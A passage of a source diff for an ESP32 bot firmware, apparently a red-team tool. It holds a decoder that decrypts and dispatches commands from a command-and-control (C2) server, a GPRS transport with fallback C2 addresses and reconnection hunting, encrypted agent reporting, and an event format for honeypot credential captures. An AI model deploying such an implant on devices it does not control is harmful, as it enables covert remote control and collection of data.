ESP_LOGE(TAG, "Decrypt/auth failed – tampered or wrong key");
|
||||
return false;
|
||||
}
|
||||
|
||||
/* 3) Protobuf decode -> c2_Command */
|
||||
c2_Command cmd = c2_Command_init_zero;
|
||||
pb_istream_t is = pb_istream_from_buffer(plain, (size_t)plain_len);
|
||||
|
||||
if (!pb_decode(&is, c2_Command_fields, &cmd)) {
|
||||
ESP_LOGE(TAG, "PB decode error: %s", PB_GET_ERROR(&is));
|
||||
return false;
|
||||
}
|
||||
|
||||
/* 4) Log + dispatch */
|
||||
#ifdef CONFIG_ESPILON_LOG_C2_VERBOSE
|
||||
ESP_LOGI(TAG, "==== C2 COMMAND ====");
|
||||
ESP_LOGI(TAG, "name: %s", cmd.command_name);
|
||||
ESP_LOGI(TAG, "argc: %d", cmd.argv_count);
|
||||
if (cmd.request_id[0]) ESP_LOGI(TAG, "req : %s", cmd.request_id);
|
||||
for (int i = 0; i < cmd.argv_count; i++) {
|
||||
ESP_LOGI(TAG, "arg[%d]=%s", i, cmd.argv[i]);
|
||||
}
|
||||
ESP_LOGI(TAG, "====================");
|
||||
#else
|
||||
ESP_LOGI(
|
||||
TAG,
|
||||
"C2 CMD: %s argc=%d req=%s",
|
||||
cmd.command_name,
|
||||
cmd.argv_count,
|
||||
cmd.request_id[0] ? cmd.request_id : "-"
|
||||
);
|
||||
for (int i = 0; i < cmd.argv_count; i++) {
|
||||
ESP_LOGD(TAG, "arg[%d]=%s", i, cmd.argv[i]);
|
||||
}
|
||||
#endif
|
||||
|
||||
process_command(&cmd);
|
||||
return true;
|
||||
}
|
||||
48
espilon_bot/components/core/event_format.h
Normal file
48
espilon_bot/components/core/event_format.h
Normal file
@ -0,0 +1,48 @@
|
||||
/*
|
||||
* event_format.h
|
||||
* Generic wire format for security events (honeypot, fakeAP, etc.).
|
||||
*
|
||||
* Wire format: EVT|<type>|<severity>|<mac>|<ip>:<sport>><dport>|<detail>
|
||||
* Parsed by HpStore.parse_and_store() on the C2 side.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include "utils.h"
|
||||
|
||||
/**
|
||||
* Send a security event to the C2 via msg_data().
|
||||
*
|
||||
* @param event_type e.g. "SVC_AUTH_ATTEMPT", "WIFI_PROBE", "PORT_SCAN"
|
||||
* @param severity "LOW", "MEDIUM", "HIGH", "CRITICAL"
|
||||
* @param src_mac "aa:bb:cc:dd:ee:ff" or "00:00:00:00:00:00"
|
||||
* @param src_ip Source IP address
|
||||
* @param src_port Source port (0 if unknown)
|
||||
* @param dst_port Destination port
|
||||
* @param detail Free-form detail, e.g. "user='admin' pass='1234'"
|
||||
* @param request_id NULL or request_id for response routing
|
||||
* @return true on success, false on truncation or send failure
|
||||
*/
|
||||
static inline bool event_send(
|
||||
const char *event_type,
|
||||
const char *severity,
|
||||
const char *src_mac,
|
||||
const char *src_ip,
|
||||
int src_port,
|
||||
int dst_port,
|
||||
const char *detail,
|
||||
const char *request_id
|
||||
) {
|
||||
char buf[256];
|
||||
int len = snprintf(buf, sizeof(buf),
|
||||
"EVT|%s|%s|%s|%s:%d>%d|%s",
|
||||
event_type, severity, src_mac,
|
||||
src_ip, src_port, dst_port,
|
||||
detail ? detail : "");
|
||||
|
||||
if (len <= 0 || len >= (int)sizeof(buf))
|
||||
return false;
|
||||
|
||||
return msg_data("EVT", buf, (size_t)len, true, request_id);
|
||||
}
|
||||
418
espilon_bot/components/core/gprs.c
Normal file
418
espilon_bot/components/core/gprs.c
Normal file
@ -0,0 +1,418 @@
|
||||
#include <stdbool.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <ctype.h>
|
||||
|
||||
#include "driver/uart.h"
|
||||
#include "driver/gpio.h"
|
||||
#include "esp_log.h"
|
||||
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
|
||||
#include "utils.h" /* CONFIG_*, base64, crypto, command */
|
||||
|
||||
#if defined(CONFIG_NETWORK_GPRS) || defined(CONFIG_FB_GPRS_FALLBACK)
|
||||
|
||||
static const char *TAG = "GPRS";
|
||||
|
||||
/* ============================================================
|
||||
* AT HELPERS
|
||||
* ============================================================ */
|
||||
|
||||
static bool at_read(char *buf, size_t size, uint32_t timeout_ms)
|
||||
{
|
||||
int len = uart_read_bytes(
|
||||
UART_NUM,
|
||||
(uint8_t *)buf,
|
||||
size - 1,
|
||||
pdMS_TO_TICKS(timeout_ms)
|
||||
);
|
||||
|
||||
if (len <= 0)
|
||||
return false;
|
||||
|
||||
buf[len] = '\0';
|
||||
ESP_LOGI(TAG, "AT <- %s", buf);
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool at_wait_ok(char *buf, size_t size, uint32_t timeout_ms)
|
||||
{
|
||||
return at_read(buf, size, timeout_ms) &&
|
||||
strstr(buf, "OK");
|
||||
}
|
||||
|
||||
void send_at_command(const char *cmd)
|
||||
{
|
||||
ESP_LOGI(TAG, "AT -> %s", cmd);
|
||||
uart_write_bytes(UART_NUM, cmd, strlen(cmd));
|
||||
uart_write_bytes(UART_NUM, "\r\n", 2);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* UART / MODEM
|
||||
* ============================================================ */
|
||||
|
||||
void setup_uart(void)
|
||||
{
|
||||
uart_config_t cfg = {
|
||||
.baud_rate = 9600,
|
||||
.data_bits = UART_DATA_8_BITS,
|
||||
.parity = UART_PARITY_DISABLE,
|
||||
.stop_bits = UART_STOP_BITS_1,
|
||||
.flow_ctrl = UART_HW_FLOWCTRL_DISABLE,
|
||||
};
|
||||
|
||||
uart_param_config(UART_NUM, &cfg);
|
||||
uart_set_pin(
|
||||
UART_NUM,
|
||||
TXD_PIN,
|
||||
RXD_PIN,
|
||||
UART_PIN_NO_CHANGE,
|
||||
UART_PIN_NO_CHANGE
|
||||
);
|
||||
|
||||
uart_driver_install(UART_NUM, BUFF_SIZE * 2, 0, 0, NULL, 0);
|
||||
}
|
||||
|
||||
void setup_modem(void)
|
||||
{
|
||||
gpio_set_direction(PWR_EN, GPIO_MODE_OUTPUT);
|
||||
gpio_set_direction(PWR_KEY, GPIO_MODE_OUTPUT);
|
||||
gpio_set_direction(RESET, GPIO_MODE_OUTPUT);
|
||||
|
||||
gpio_set_level(PWR_EN, 1);
|
||||
vTaskDelay(pdMS_TO_TICKS(100));
|
||||
|
||||
gpio_set_level(PWR_KEY, 1);
|
||||
vTaskDelay(pdMS_TO_TICKS(100));
|
||||
gpio_set_level(PWR_KEY, 0);
|
||||
vTaskDelay(pdMS_TO_TICKS(1200));
|
||||
gpio_set_level(PWR_KEY, 1);
|
||||
|
||||
vTaskDelay(pdMS_TO_TICKS(3000));
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* GSM / GPRS
|
||||
* ============================================================ */
|
||||
|
||||
static bool wait_for_gsm(void)
|
||||
{
|
||||
char buf[BUFF_SIZE];
|
||||
|
||||
ESP_LOGI(TAG, "Waiting GSM network");
|
||||
|
||||
for (int i = 0; i < 30; i++) {
|
||||
send_at_command("AT+CREG?");
|
||||
if (at_read(buf, sizeof(buf), 2000)) {
|
||||
if (strstr(buf, "+CREG: 0,1") ||
|
||||
strstr(buf, "+CREG: 0,5")) {
|
||||
ESP_LOGI(TAG, "GSM registered");
|
||||
return true;
|
||||
}
|
||||
}
|
||||
vTaskDelay(pdMS_TO_TICKS(2000));
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
bool connect_gprs(void)
|
||||
{
|
||||
char buf[BUFF_SIZE];
|
||||
|
||||
if (!wait_for_gsm()) {
|
||||
ESP_LOGE(TAG, "No GSM network");
|
||||
return false;
|
||||
}
|
||||
|
||||
send_at_command("AT+CGATT=1");
|
||||
if (!at_wait_ok(buf, sizeof(buf), 5000))
|
||||
return false;
|
||||
|
||||
char cmd[96];
|
||||
snprintf(cmd, sizeof(cmd),
|
||||
"AT+CSTT=\"%s\",\"\",\"\"",
|
||||
CONFIG_GPRS_APN);
|
||||
send_at_command(cmd);
|
||||
if (!at_wait_ok(buf, sizeof(buf), 3000))
|
||||
return false;
|
||||
|
||||
send_at_command("AT+CIICR");
|
||||
if (!at_wait_ok(buf, sizeof(buf), 8000))
|
||||
return false;
|
||||
|
||||
send_at_command("AT+CIFSR");
|
||||
if (!at_read(buf, sizeof(buf), 5000))
|
||||
return false;
|
||||
|
||||
ESP_LOGI(TAG, "IP obtained: %s", buf);
|
||||
return true;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* TCP
|
||||
* ============================================================ */
|
||||
|
||||
bool connect_tcp_to(const char *ip, int port)
|
||||
{
|
||||
char buf[BUFF_SIZE];
|
||||
char cmd[128];
|
||||
|
||||
ESP_LOGI(TAG, "TCP connect %s:%d", ip, port);
|
||||
|
||||
send_at_command("AT+CIPMUX=0");
|
||||
at_wait_ok(buf, sizeof(buf), 2000);
|
||||
|
||||
snprintf(cmd, sizeof(cmd),
|
||||
"AT+CIPSTART=\"TCP\",\"%s\",\"%d\"",
|
||||
ip, port);
|
||||
send_at_command(cmd);
|
||||
|
||||
if (!at_read(buf, sizeof(buf), 15000))
|
||||
return false;
|
||||
|
||||
if (strstr(buf, "CONNECT OK")) {
|
||||
ESP_LOGI(TAG, "TCP connected");
|
||||
return true;
|
||||
}
|
||||
|
||||
ESP_LOGE(TAG, "TCP connection failed");
|
||||
return false;
|
||||
}
|
||||
|
||||
bool connect_tcp(void)
|
||||
{
|
||||
return connect_tcp_to(CONFIG_SERVER_IP, CONFIG_SERVER_PORT);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* RX HELPERS
|
||||
* ============================================================ */
|
||||
|
||||
static bool is_base64_frame(const char *s)
|
||||
{
|
||||
size_t len = strlen(s);
|
||||
if (len < 20)
|
||||
return false;
|
||||
|
||||
for (size_t i = 0; i < len; i++) {
|
||||
char c = s[i];
|
||||
if (!(isalnum((unsigned char)c) ||
|
||||
c == '+' || c == '/' || c == '=')) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* RX — PUSH MODE (ROBUST)
|
||||
* ============================================================ */
|
||||
|
||||
void gprs_rx_poll(void)
|
||||
{
|
||||
static char rx_buf[BUFF_SIZE];
|
||||
static size_t rx_len = 0;
|
||||
|
||||
int r = uart_read_bytes(
|
||||
UART_NUM,
|
||||
(uint8_t *)(rx_buf + rx_len),
|
||||
sizeof(rx_buf) - rx_len - 1,
|
||||
pdMS_TO_TICKS(200)
|
||||
);
|
||||
|
||||
if (r <= 0)
|
||||
return;
|
||||
|
||||
rx_len += r;
|
||||
rx_buf[rx_len] = '\0';
|
||||
|
||||
ESP_LOGD(TAG, "RAW UART RX (%d bytes buffered)", rx_len);
|
||||
ESP_LOGD(TAG, "%s", rx_buf);
|
||||
|
||||
/* nettoyer CR/LF */
|
||||
for (size_t i = 0; i < rx_len; i++) {
|
||||
if (rx_buf[i] == '\r' || rx_buf[i] == '\n')
|
||||
rx_buf[i] = '\0';
|
||||
}
|
||||
|
||||
/* frame C2 reçue */
|
||||
if (is_base64_frame(rx_buf)) {
|
||||
ESP_LOGI(TAG, "C2 RAW FRAME: [%s]", rx_buf);
|
||||
c2_decode_and_exec(rx_buf);
|
||||
|
||||
rx_len = 0;
|
||||
rx_buf[0] = '\0';
|
||||
}
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* SEND — ATOMIC FRAME
|
||||
* ============================================================ */
|
||||
|
||||
bool gprs_send(const void *buf, size_t len)
|
||||
{
|
||||
char resp[BUFF_SIZE];
|
||||
char cmd[32];
|
||||
|
||||
snprintf(cmd, sizeof(cmd),
|
||||
"AT+CIPSEND=%d", (int)(len + 1));
|
||||
send_at_command(cmd);
|
||||
|
||||
if (!at_read(resp, sizeof(resp), 3000) ||
|
||||
!strchr(resp, '>')) {
|
||||
ESP_LOGE(TAG, "CIPSEND prompt failed");
|
||||
return false;
|
||||
}
|
||||
|
||||
uart_write_bytes(UART_NUM, buf, len);
|
||||
uart_write_bytes(UART_NUM, "\n", 1);
|
||||
uart_write_bytes(UART_NUM, "\x1A", 1);
|
||||
|
||||
if (!at_read(resp, sizeof(resp), 10000) ||
|
||||
!strstr(resp, "SEND OK")) {
|
||||
ESP_LOGE(TAG, "SEND failed");
|
||||
return false;
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "TCP frame sent (%d bytes)", (int)(len + 1));
|
||||
return true;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* CLOSE
|
||||
* ============================================================ */
|
||||
|
||||
void close_tcp_connection(void)
|
||||
{
|
||||
send_at_command("AT+CIPCLOSE");
|
||||
vTaskDelay(pdMS_TO_TICKS(500));
|
||||
send_at_command("AT+CIPSHUT");
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* CLIENT TASK (GPRS primary mode only)
|
||||
* ============================================================ */
|
||||
#ifdef CONFIG_NETWORK_GPRS
|
||||
|
||||
#ifdef CONFIG_MODULE_FALLBACK
|
||||
#include "fb_config.h"
|
||||
#include "fb_hunt.h"
|
||||
extern atomic_bool fb_active;
|
||||
|
||||
/* Try NVS C2 fallback addresses over GPRS */
|
||||
static bool try_gprs_fallback_c2s(void)
|
||||
{
|
||||
fb_c2_addr_t addrs[CONFIG_FB_MAX_C2_FALLBACKS];
|
||||
int count = fb_config_c2_list(addrs, CONFIG_FB_MAX_C2_FALLBACKS);
|
||||
|
||||
for (int i = 0; i < count; i++) {
|
||||
char ip_buf[48];
|
||||
int port = CONFIG_SERVER_PORT;
|
||||
strncpy(ip_buf, addrs[i].addr, sizeof(ip_buf) - 1);
|
||||
ip_buf[sizeof(ip_buf) - 1] = '\0';
|
||||
|
||||
char *colon = strrchr(ip_buf, ':');
|
||||
if (colon) {
|
||||
*colon = '\0';
|
||||
port = atoi(colon + 1);
|
||||
if (port <= 0 || port > 65535) port = CONFIG_SERVER_PORT;
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "Trying C2 fallback: %s:%d", ip_buf, port);
|
||||
close_tcp_connection();
|
||||
if (connect_tcp_to(ip_buf, port)) {
|
||||
ESP_LOGI(TAG, "C2 fallback %s:%d connected", ip_buf, port);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
#endif /* CONFIG_MODULE_FALLBACK */
|
||||
|
||||
void gprs_client_task(void *pvParameters)
|
||||
{
|
||||
ESP_LOGI(TAG, "GPRS client task started");
|
||||
|
||||
int tcp_fail_count = 0;
|
||||
#ifdef CONFIG_FB_WIFI_FALLBACK
|
||||
int gprs_dead_count = 0;
|
||||
#endif
|
||||
|
||||
while (1) {
|
||||
|
||||
#ifdef CONFIG_MODULE_FALLBACK
|
||||
/* If fallback hunt is active, wait for it to finish */
|
||||
while (fb_active) {
|
||||
vTaskDelay(pdMS_TO_TICKS(1000));
|
||||
}
|
||||
#endif
|
||||
|
||||
/* GPRS attach */
|
||||
if (!connect_gprs()) {
|
||||
ESP_LOGE(TAG, "GPRS connection failed");
|
||||
#ifdef CONFIG_FB_WIFI_FALLBACK
|
||||
gprs_dead_count++;
|
||||
ESP_LOGW(TAG, "GPRS dead count: %d/%d",
|
||||
gprs_dead_count, CONFIG_FB_GPRS_FAIL_THRESHOLD);
|
||||
if (gprs_dead_count >= CONFIG_FB_GPRS_FAIL_THRESHOLD) {
|
||||
ESP_LOGW(TAG, "GPRS dead — triggering WiFi fallback hunt");
|
||||
fb_hunt_set_skip_gprs(true);
|
||||
fb_hunt_trigger();
|
||||
gprs_dead_count = 0;
|
||||
continue;
|
||||
}
|
||||
#endif
|
||||
setup_modem();
|
||||
vTaskDelay(pdMS_TO_TICKS(5000));
|
||||
continue;
|
||||
}
|
||||
#ifdef CONFIG_FB_WIFI_FALLBACK
|
||||
gprs_dead_count = 0;
|
||||
#endif
|
||||
|
||||
/* TCP connect to C2 */
|
||||
if (!connect_tcp()) {
|
||||
tcp_fail_count++;
|
||||
ESP_LOGW(TAG, "TCP connect failed (%d consecutive)", tcp_fail_count);
|
||||
|
||||
#ifdef CONFIG_MODULE_FALLBACK
|
||||
if (tcp_fail_count >= CONFIG_FB_TCP_FAIL_THRESHOLD) {
|
||||
/* Level 1: try NVS C2 fallback addresses over GPRS */
|
||||
if (try_gprs_fallback_c2s()) {
|
||||
tcp_fail_count = 0;
|
||||
goto handshake;
|
||||
}
|
||||
/* Modem restart */
|
||||
ESP_LOGW(TAG, "All C2 unreachable — modem restart");
|
||||
close_tcp_connection();
|
||||
setup_modem();
|
||||
tcp_fail_count = 0;
|
||||
}
|
||||
#endif
|
||||
vTaskDelay(pdMS_TO_TICKS(5000));
|
||||
continue;
|
||||
}
|
||||
tcp_fail_count = 0;
|
||||
|
||||
#ifdef CONFIG_MODULE_FALLBACK
|
||||
handshake:
|
||||
#endif
|
||||
/* Handshake */
|
||||
msg_info(TAG, CONFIG_DEVICE_ID, NULL);
|
||||
ESP_LOGI(TAG, "Handshake sent");
|
||||
|
||||
while (1) {
|
||||
gprs_rx_poll();
|
||||
vTaskDelay(pdMS_TO_TICKS(10));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#endif /* CONFIG_NETWORK_GPRS */
|
||||
|
||||
#endif /* CONFIG_NETWORK_GPRS || CONFIG_FB_GPRS_FALLBACK */
|
||||
204
espilon_bot/components/core/messages.c
Normal file
204
espilon_bot/components/core/messages.c
Normal file
@ -0,0 +1,204 @@
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <time.h>
|
||||
|
||||
#include "esp_log.h"
|
||||
#include "lwip/sockets.h"
|
||||
|
||||
#include "pb_encode.h"
|
||||
#include "c2.pb.h"
|
||||
|
||||
#include "freertos/semphr.h"
|
||||
#include "utils.h" /* crypto_encrypt, base64_encode, CONFIG_DEVICE_ID */
|
||||
|
||||
#define TAG "AGENT_MSG"
|
||||
#define MAX_PROTOBUF_SIZE 512
|
||||
|
||||
extern int sock;
|
||||
extern SemaphoreHandle_t sock_mutex;
|
||||
|
||||
/* ============================================================
|
||||
* TCP helpers
|
||||
* ============================================================ */
|
||||
|
||||
static bool tcp_send_all(const void *buf, size_t len)
|
||||
{
|
||||
#ifdef CONFIG_NETWORK_WIFI
|
||||
|
||||
xSemaphoreTake(sock_mutex, portMAX_DELAY);
|
||||
int current_sock = sock;
|
||||
xSemaphoreGive(sock_mutex);
|
||||
|
||||
if (current_sock < 0) {
|
||||
ESP_LOGE(TAG, "socket not connected");
|
||||
return false;
|
||||
}
|
||||
|
||||
const uint8_t *p = (const uint8_t *)buf;
|
||||
while (len > 0) {
|
||||
int sent = lwip_write(current_sock, p, len);
|
||||
if (sent <= 0) {
|
||||
ESP_LOGE(TAG, "lwip_write failed, disconnecting");
|
||||
xSemaphoreTake(sock_mutex, portMAX_DELAY);
|
||||
if (sock == current_sock) {
|
||||
lwip_close(sock);
|
||||
sock = -1;
|
||||
}
|
||||
xSemaphoreGive(sock_mutex);
|
||||
return false;
|
||||
}
|
||||
p += sent;
|
||||
len -= sent;
|
||||
}
|
||||
return true;
|
||||
|
||||
#elif defined(CONFIG_NETWORK_GPRS)
|
||||
|
||||
return gprs_send(buf, len);
|
||||
|
||||
#else
|
||||
#error "No network backend selected"
|
||||
#endif
|
||||
}
|
||||
|
||||
static bool send_base64_frame(const uint8_t *data, size_t len)
|
||||
{
|
||||
char *b64 = base64_encode(data, len);
|
||||
if (!b64) {
|
||||
ESP_LOGE(TAG, "base64_encode failed");
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Prepend "device_id:" so the C2 can identify which key to use */
|
||||
bool ok = tcp_send_all(CONFIG_DEVICE_ID, strlen(CONFIG_DEVICE_ID))
|
||||
&& tcp_send_all(":", 1)
|
||||
&& tcp_send_all(b64, strlen(b64))
|
||||
&& tcp_send_all("\n", 1);
|
||||
|
||||
free(b64);
|
||||
return ok;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Encode → encrypt → base64 → send
|
||||
* ============================================================ */
|
||||
|
||||
static bool encode_encrypt_send(c2_AgentMessage *msg)
|
||||
{
|
||||
uint8_t pb_buf[MAX_PROTOBUF_SIZE];
|
||||
|
||||
pb_ostream_t stream =
|
||||
pb_ostream_from_buffer(pb_buf, sizeof(pb_buf));
|
||||
|
||||
if (!pb_encode(&stream, c2_AgentMessage_fields, msg)) {
|
||||
ESP_LOGE(TAG, "pb_encode failed: %s",
|
||||
PB_GET_ERROR(&stream));
|
||||
return false;
|
||||
}
|
||||
|
||||
size_t proto_len = stream.bytes_written;
|
||||
|
||||
/* nonce[12] + ciphertext + tag[16] */
|
||||
uint8_t enc_buf[MAX_PROTOBUF_SIZE + 12 + 16];
|
||||
|
||||
int enc_len = crypto_encrypt(pb_buf, proto_len,
|
||||
enc_buf, sizeof(enc_buf));
|
||||
if (enc_len < 0) {
|
||||
ESP_LOGE(TAG, "crypto_encrypt failed");
|
||||
return false;
|
||||
}
|
||||
|
||||
return send_base64_frame(enc_buf, (size_t)enc_len);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Core send API
|
||||
* ============================================================ */
|
||||
|
||||
bool agent_send(c2_AgentMsgType type,
|
||||
const char *source,
|
||||
const char *request_id,
|
||||
const void *data,
|
||||
size_t len,
|
||||
bool eof)
|
||||
{
|
||||
c2_AgentMessage msg = c2_AgentMessage_init_zero;
|
||||
|
||||
/* mandatory */
|
||||
strncpy(msg.device_id, CONFIG_DEVICE_ID,
|
||||
sizeof(msg.device_id) - 1);
|
||||
msg.type = type;
|
||||
msg.eof = eof;
|
||||
|
||||
/* optional */
|
||||
if (source) {
|
||||
strncpy(msg.source, source,
|
||||
sizeof(msg.source) - 1);
|
||||
}
|
||||
|
||||
if (request_id) {
|
||||
strncpy(msg.request_id, request_id,
|
||||
sizeof(msg.request_id) - 1);
|
||||
}
|
||||
|
||||
if (data && len > 0) {
|
||||
if (len > sizeof(msg.payload.bytes))
|
||||
len = sizeof(msg.payload.bytes);
|
||||
|
||||
msg.payload.size = len;
|
||||
memcpy(msg.payload.bytes, data, len);
|
||||
}
|
||||
|
||||
return encode_encrypt_send(&msg);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* High-level helpers (USED EVERYWHERE)
|
||||
* ============================================================ */
|
||||
|
||||
bool msg_info(const char *src,
|
||||
const char *msg,
|
||||
const char *req)
|
||||
{
|
||||
return agent_send(
|
||||
c2_AgentMsgType_AGENT_INFO,
|
||||
src,
|
||||
req,
|
||||
msg,
|
||||
msg ? strlen(msg) : 0,
|
||||
true
|
||||
);
|
||||
}
|
||||
|
||||
bool msg_error(const char *src,
|
||||
const char *msg,
|
||||
const char *req)
|
||||
{
|
||||
return agent_send(
|
||||
c2_AgentMsgType_AGENT_ERROR,
|
||||
src,
|
||||
req,
|
||||
msg,
|
||||
msg ? strlen(msg) : 0,
|
||||
true
|
||||
);
|
||||
}
|
||||
|
||||
bool msg_data(const char *src,
|
||||
const void *data,
|
||||
size_t len,
|
||||
bool eof,
|
||||
const char *req)
|
||||
{
|
||||
if (!data || len == 0)
|
||||
return false;
|
||||
|
||||
return agent_send(
|
||||
c2_AgentMsgType_AGENT_DATA,
|
||||
src,
|
||||
req,
|
||||
data,
|
||||
len,
|
||||
eof
|
||||
);
|
||||
}
|
||||
17
espilon_bot/components/core/nanoPB/c2.pb.c
Normal file
17
espilon_bot/components/core/nanoPB/c2.pb.c
Normal file
@ -0,0 +1,17 @@
|
||||
/* Automatically generated nanopb constant definitions */
|
||||
/* Generated by nanopb-1.0.0-dev */
|
||||
|
||||
#include "c2.pb.h"
|
||||
#if PB_PROTO_HEADER_VERSION != 40
|
||||
#error Regenerate this file with the current version of nanopb generator.
|
||||
#endif
|
||||
|
||||
PB_BIND(c2_Command, c2_Command, 2)
|
||||
|
||||
|
||||
PB_BIND(c2_AgentMessage, c2_AgentMessage, 2)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
107
espilon_bot/components/core/nanoPB/c2.pb.h
Normal file
107
espilon_bot/components/core/nanoPB/c2.pb.h
Normal file
@ -0,0 +1,107 @@
|
||||
/* Automatically generated nanopb header */
|
||||
/* Generated by nanopb-1.0.0-dev */
|
||||
|
||||
#ifndef PB_C2_PROTO_C2_PB_H_INCLUDED
|
||||
#define PB_C2_PROTO_C2_PB_H_INCLUDED
|
||||
#include <pb.h>
|
||||
|
||||
#if PB_PROTO_HEADER_VERSION != 40
|
||||
#error Regenerate this file with the current version of nanopb generator.
|
||||
#endif
|
||||
|
||||
/* Enum definitions */
|
||||
typedef enum _c2_AgentMsgType {
|
||||
c2_AgentMsgType_AGENT_INFO = 0,
|
||||
c2_AgentMsgType_AGENT_ERROR = 1,
|
||||
c2_AgentMsgType_AGENT_DATA = 2,
|
||||
c2_AgentMsgType_AGENT_LOG = 3,
|
||||
c2_AgentMsgType_AGENT_CMD_RESULT = 4
|
||||
} c2_AgentMsgType;
|
||||
|
||||
/* Struct definitions */
|
||||
typedef struct _c2_Command {
|
||||
char device_id[64];
|
||||
char command_name[32];
|
||||
pb_size_t argv_count;
|
||||
char argv[8][256];
|
||||
char request_id[64];
|
||||
} c2_Command;
|
||||
|
||||
typedef PB_BYTES_ARRAY_T(256) c2_AgentMessage_payload_t;
|
||||
typedef struct _c2_AgentMessage {
|
||||
char device_id[64];
|
||||
c2_AgentMsgType type;
|
||||
char source[32];
|
||||
char request_id[64];
|
||||
c2_AgentMessage_payload_t payload;
|
||||
bool eof;
|
||||
} c2_AgentMessage;
|
||||
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/* Helper constants for enums */
|
||||
#define _c2_AgentMsgType_MIN c2_AgentMsgType_AGENT_INFO
|
||||
#define _c2_AgentMsgType_MAX c2_AgentMsgType_AGENT_CMD_RESULT
|
||||
#define _c2_AgentMsgType_ARRAYSIZE ((c2_AgentMsgType)(c2_AgentMsgType_AGENT_CMD_RESULT+1))
|
||||
|
||||
|
||||
#define c2_AgentMessage_type_ENUMTYPE c2_AgentMsgType
|
||||
|
||||
|
||||
/* Initializer values for message structs */
|
||||
#define c2_Command_init_default {"", "", 0, {"", "", "", "", "", "", "", ""}, ""}
|
||||
#define c2_AgentMessage_init_default {"", _c2_AgentMsgType_MIN, "", "", {0, {0}}, 0}
|
||||
#define c2_Command_init_zero {"", "", 0, {"", "", "", "", "", "", "", ""}, ""}
|
||||
#define c2_AgentMessage_init_zero {"", _c2_AgentMsgType_MIN, "", "", {0, {0}}, 0}
|
||||
|
||||
/* Field tags (for use in manual encoding/decoding) */
|
||||
#define c2_Command_device_id_tag 1
|
||||
#define c2_Command_command_name_tag 2
|
||||
#define c2_Command_argv_tag 3
|
||||
#define c2_Command_request_id_tag 4
|
||||
#define c2_AgentMessage_device_id_tag 1
|
||||
#define c2_AgentMessage_type_tag 2
|
||||
#define c2_AgentMessage_source_tag 3
|
||||
#define c2_AgentMessage_request_id_tag 4
|
||||
#define c2_AgentMessage_payload_tag 5
|
||||
#define c2_AgentMessage_eof_tag 6
|
||||
|
||||
/* Struct field encoding specification for nanopb */
|
||||
#define c2_Command_FIELDLIST(X, a) \
|
||||
X(a, STATIC, SINGULAR, STRING, device_id, 1) \
|
||||
X(a, STATIC, SINGULAR, STRING, command_name, 2) \
|
||||
X(a, STATIC, REPEATED, STRING, argv, 3) \
|
||||
X(a, STATIC, SINGULAR, STRING, request_id, 4)
|
||||
#define c2_Command_CALLBACK NULL
|
||||
#define c2_Command_DEFAULT NULL
|
||||
|
||||
#define c2_AgentMessage_FIELDLIST(X, a) \
|
||||
X(a, STATIC, SINGULAR, STRING, device_id, 1) \
|
||||
X(a, STATIC, SINGULAR, UENUM, type, 2) \
|
||||
X(a, STATIC, SINGULAR, STRING, source, 3) \
|
||||
X(a, STATIC, SINGULAR, STRING, request_id, 4) \
|
||||
X(a, STATIC, SINGULAR, BYTES, payload, 5) \
|
||||
X(a, STATIC, SINGULAR, BOOL, eof, 6)
|
||||
#define c2_AgentMessage_CALLBACK NULL
|
||||
#define c2_AgentMessage_DEFAULT NULL
|
||||
|
||||
extern const pb_msgdesc_t c2_Command_msg;
|
||||
extern const pb_msgdesc_t c2_AgentMessage_msg;
|
||||
|
||||
/* Defines for backwards compatibility with code written before nanopb-0.4.0 */
|
||||
#define c2_Command_fields &c2_Command_msg
|
||||
#define c2_AgentMessage_fields &c2_AgentMessage_msg
|
||||
|
||||
/* Maximum encoded size of messages (where known) */
|
||||
#define C2_PROTO_C2_PB_H_MAX_SIZE c2_Command_size
|
||||
#define c2_AgentMessage_size 426
|
||||
#define c2_Command_size 2227
|
||||
|
||||
#ifdef __cplusplus
|
||||
} /* extern "C" */
|
||||
#endif
|
||||
|
||||
#endif
|
||||
213
espilon_bot/components/core/nanoPB/nanopb.proto
Normal file
213
espilon_bot/components/core/nanoPB/nanopb.proto
Normal file
@ -0,0 +1,213 @@
|
||||
// This file contains definitions of custom options used to control the
|
||||
// code generator in nanopb protocol buffers library.
|
||||
//
|
||||
// Most commonly used options are max_count and max_size, which allow
|
||||
// the generator to allocate static arrays for repeated and string fields.
|
||||
//
|
||||
// There are three ways to use these options:
|
||||
// 1. Use a separate <protofile>.options file
|
||||
// 2. Use command line switches to nanopb_generator.py
|
||||
// 3. Use [(nanopb).option = value] in your <protofile>.proto file
|
||||
//
|
||||
// For detailed documentation, refer to "Generator options" in docs/reference.md
|
||||
|
||||
syntax = "proto2";
|
||||
import "google/protobuf/descriptor.proto";
|
||||
|
||||
option java_package = "fi.kapsi.koti.jpa.nanopb";
|
||||
|
||||
enum FieldType {
|
||||
FT_DEFAULT = 0; // Automatically decide field type, generate static field if possible.
|
||||
